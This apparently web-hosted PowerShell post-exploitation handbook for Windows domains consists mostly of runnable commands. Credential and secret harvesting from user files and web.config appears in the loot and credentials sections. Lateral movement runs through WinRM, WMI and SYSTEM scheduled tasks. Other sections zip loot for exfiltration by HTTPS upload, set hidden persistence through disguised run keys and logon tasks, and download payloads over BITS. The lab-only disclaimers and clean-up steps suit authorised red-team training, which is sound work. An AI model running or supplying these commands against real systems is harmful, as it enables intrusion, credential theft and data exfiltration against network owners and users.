PowerShell PE

PowerShell for Post-Exploitation — Operator Handbook

⚠️ For authorized environments, labs, and CTFs only. Many techniques below can disrupt systems or trigger security tools. Get written permission, log everything, and follow the rules of engagement.


I. 🧩 Operator Mindset & OPSEC

  • Stay native first: prefer built-in cmdlets over dropping binaries.

  • Live off the land: WinRM, WMI, ScheduledTasks, BITS, netsh, wevtutil.

  • Reduce noise: limit recursive scans, throttle parallel tasks, avoid scanning DCs from workstations.

  • Telemetry aware: Script Block Logging, Module Logging, Transcription, AMSI. Assume you’re watched.


II. ⚙️ Fast Recon (Local Host)

# identity & context
whoami /all
$env:USERDOMAIN; $env:USERNAME
[Environment]::OSVersion.Version
Get-CimInstance Win32_ComputerSystem | fl Name,Domain,Model,Manufacturer

# local admins & interesting groups
Get-LocalGroupMember -Group "Administrators" 2>$null

# network quicklook
Get-NetIPAddress -AddressFamily IPv4 | ? {$_.PrefixLength -ge 24}
Get-NetRoute | ? {$_.DestinationPrefix -notlike "127.*"}

# running services & autostarts
Get-Service | ? Status -eq Running | select Name,DisplayName
Get-CimInstance Win32_StartupCommand | select Name,Command,Location,User

# shares & sessions
Get-SmbShare
Get-SmbSession

III. 🧭 Domain & AD Enumeration (Native + PowerView)

If PowerView is available in your lab, load it reflectively (no disk write) and then enumerate. Otherwise, use ActiveDirectory RSAT cmdlets.

# native: who is the DC, what domain am I in?
nltest /dsgetdc:.
(Get-ADDomain).DNSRoot
(Get-ADForest).GlobalCatalogs

# enumerate users/groups (requires RSAT: ActiveDirectory)
Get-ADUser -Filter * -Properties lastlogondate | select SamAccountName,lastlogondate -First 10
Get-ADGroup -Filter * | select Name -First 20
Get-ADGroupMember "Domain Admins"

# PowerView classics (if imported)
Get-NetDomain
Get-NetDomainController
Get-NetUser -PreauthNotRequired    # potential AS-REP roast targets (for lab)
Get-NetComputer -OperatingSystem *server* | select cn,operatingsystem
Find-LocalAdminAccess -Verbose     # where current token has local admin

IV. 🗂️ Files, Search & Loot (Benign Discovery)

# find likely creds in user profiles (lab safe paths)
$paths = @("$env:USERPROFILE\Desktop","$env:USERPROFILE\Documents","C:\Temp")
$patterns = @("password","pass","cred","secret","key","config",".kdbx",".pfx",".pem",".rdp")
foreach($p in $paths){ gci -Path $p -Recurse -ErrorAction SilentlyContinue |
  ? { $patterns | ForEach-Object { $_ -and ($_.Name -match $_) } } |
  select FullName,Length,LastWriteTime }

# search within files for patterns
Select-String -Path C:\Users\*\Documents\* -Pattern "password|apikey|token" -SimpleMatch -ErrorAction SilentlyContinue

V. 🔁 Lateral Movement (Built-In Methods)

Use only where authorized. Prefer Kerberos (–Authentication Negotiate/Kerberos) to avoid NTLM where possible.

WinRM (PowerShell Remoting)

# enable locally (lab)
Enable-PSRemoting -Force

# remote command with current creds (requires admin on target)
Invoke-Command -ComputerName WS01 -ScriptBlock { hostname; whoami }

# with alternate creds
$cred = Get-Credential
Invoke-Command -ComputerName WS01,WS02 -Credential $cred -ScriptBlock { Get-LocalGroupMember Administrators }

WMI

Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName WS01 -ArgumentList "cmd /c whoami > C:\Windows\Temp\w.txt"

Scheduled Task (opsec-friendly, survives transient)

$act = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c ipconfig /all > C:\Temp\net.txt"
$trg = New-ScheduledTaskTrigger -Once -At ((Get-Date).AddMinutes(1))
Register-ScheduledTask -TaskName "SysDiag" -Action $act -Trigger $trg -RunLevel Highest -User "SYSTEM"
Start-ScheduledTask -TaskName "SysDiag"

VI. 🔐 Credentials & Tokens (Legit Paths Only)

  • Network credentials in memory: Assume EDR detects dumps — avoid weaponized dumping in shared networks.

  • DPAPI user secrets (lab demo only):

# list saved creds (current user context)
cmdkey /list
# Windows Credential Manager (read with authorized tools only)
rundll32.exe keymgr.dll,KRShowKeyMgr
  • Search config stores (web apps, dev boxes):

gci C:\inetpub\ -Recurse -Include web.config,appsettings.json -ErrorAction SilentlyContinue |
  % { Select-String -Path $_.FullName -Pattern "ConnectionString|Password|Key|Secret" -SimpleMatch }

VII. 🌐 Data Exfil Helpers (Lab)

In real environments, follow data handling policies. Use throttling and encryption; prefer secure transport.

# compress & zip
$src="C:\Temp\loot"; $zip="C:\Temp\loot.zip"
Compress-Archive -Path $src -DestinationPath $zip -Force

# HTTPS upload (lab web server)
Invoke-WebRequest -Uri "https://labserver/upload" -Method Post -InFile $zip -UseBasicParsing

VIII. ♻️ Persistence (CTF/Lab Techniques)

Run Key (current user)

New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
  -Name "Updatr" -Value "C:\Users\Public\updatr.ps1" -PropertyType String

Scheduled Task (on logon)

$act = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoP -W Hidden -F C:\Users\Public\p.ps1"
$trg = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -TaskName "Updater" -Action $act -Trigger $trg -User $env:USERNAME

📎 Remove after the exercise:

Unregister-ScheduledTask -TaskName "Updater" -Confirm:$false
Remove-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Updatr"

IX. 🚚 File Transfer Arsenal (No External Tools)

# Start a quick HTTP file server (PowerShell 5+, simple)
Set-Location C:\Share
python -m http.server 8000  # if Python exists

# Pull a file over HTTP(S)
Invoke-WebRequest -Uri "https://server/tool.exe" -OutFile "$env:TEMP\tool.exe"

# SMB copy (requires share perms)
Copy-Item \\fileserver\share\agent.ps1 C:\Temp\agent.ps1

# BITS (quiet, resumable)
Start-BitsTransfer -Source "https://server/payload.bin" -Destination "C:\Temp\payload.bin"

X. 🧪 Useful One-Liners & Mini-Functions

# ping sweep (small /24 lab)
1..254 | % { "$_`t" + (Test-Connection -Count 1 -Quiet 10.10.10.$_) } | ? {$_ -match "True"}

# list admin shares reachable
$hosts = @("WS01","WS02","FS01")
$hosts | % { if(Test-Path "\\$_\C$"){ "$_ : C$ ok" } }

# find writable folders (current token)
gci C:\ -Recurse -Directory -ErrorAction SilentlyContinue |
  % { try { $acl = Get-Acl $_.FullName; if(($acl.Access | ? {$_.IdentityReference -match $env:USERNAME -and $_.FileSystemRights -match "Write"}) ){ $_.FullName } } catch {} }

# quick service audit: auto-start & unquoted paths
Get-CimInstance Win32_Service | ? {$_.StartMode -eq "Auto"} |
 select Name,State,StartName,PathName |
 ? {$_.PathName -and $_.PathName -match ' '}   # candidates for unquoted path issues (lab)

XI. 🧰 “Living-off-the-Land” Cmdlets (Cheat Box)

Goal
Cmdlets / Tools

System info

Get-ComputerInfo, Get-CimInstance Win32_OperatingSystem

Users/Groups

Get-LocalUser, Get-LocalGroupMember

Network

Get-NetIPConfiguration, Test-NetConnection, Get-NetTCPConnection

Shares/Sessions

Get-SmbShare, Get-SmbSession

Services/Tasks

Get-Service, Get-ScheduledTask

Logs

Get-WinEvent, wevtutil

Remoting

Invoke-Command, Enter-PSSession

WMI

Get-WmiObject, Invoke-WmiMethod

Files/Registry

Get-ChildItem, Select-String, Get-ItemProperty


XII. 🧠 OPSEC & Clean-Up Checklist

  • Remove scheduled tasks, run-keys, temp files.

  • Clear only your test artifacts (don’t destroy logs).

  • Return config to pre-engagement state.

  • Hand over findings with paths, timestamps, and commands used.


XIII. ⚡ Quick Reference Table

Task
Command

Remote exec (WinRM)

Invoke-Command -ComputerName X -ScriptBlock { ... }

Create scheduled task

Register-ScheduledTask -Action $act -Trigger $trg

Copy via SMB

Copy-Item \\host\share\file C:\Temp\file

Zip directory

Compress-Archive -Path C:\Dir -Destination C:\dir.zip

Enumerate AD users

Get-ADUser -Filter * -Properties lastlogondate

Find strings in files

`Select-String -Path C:* -Pattern "password


Last updated

Was this helpful?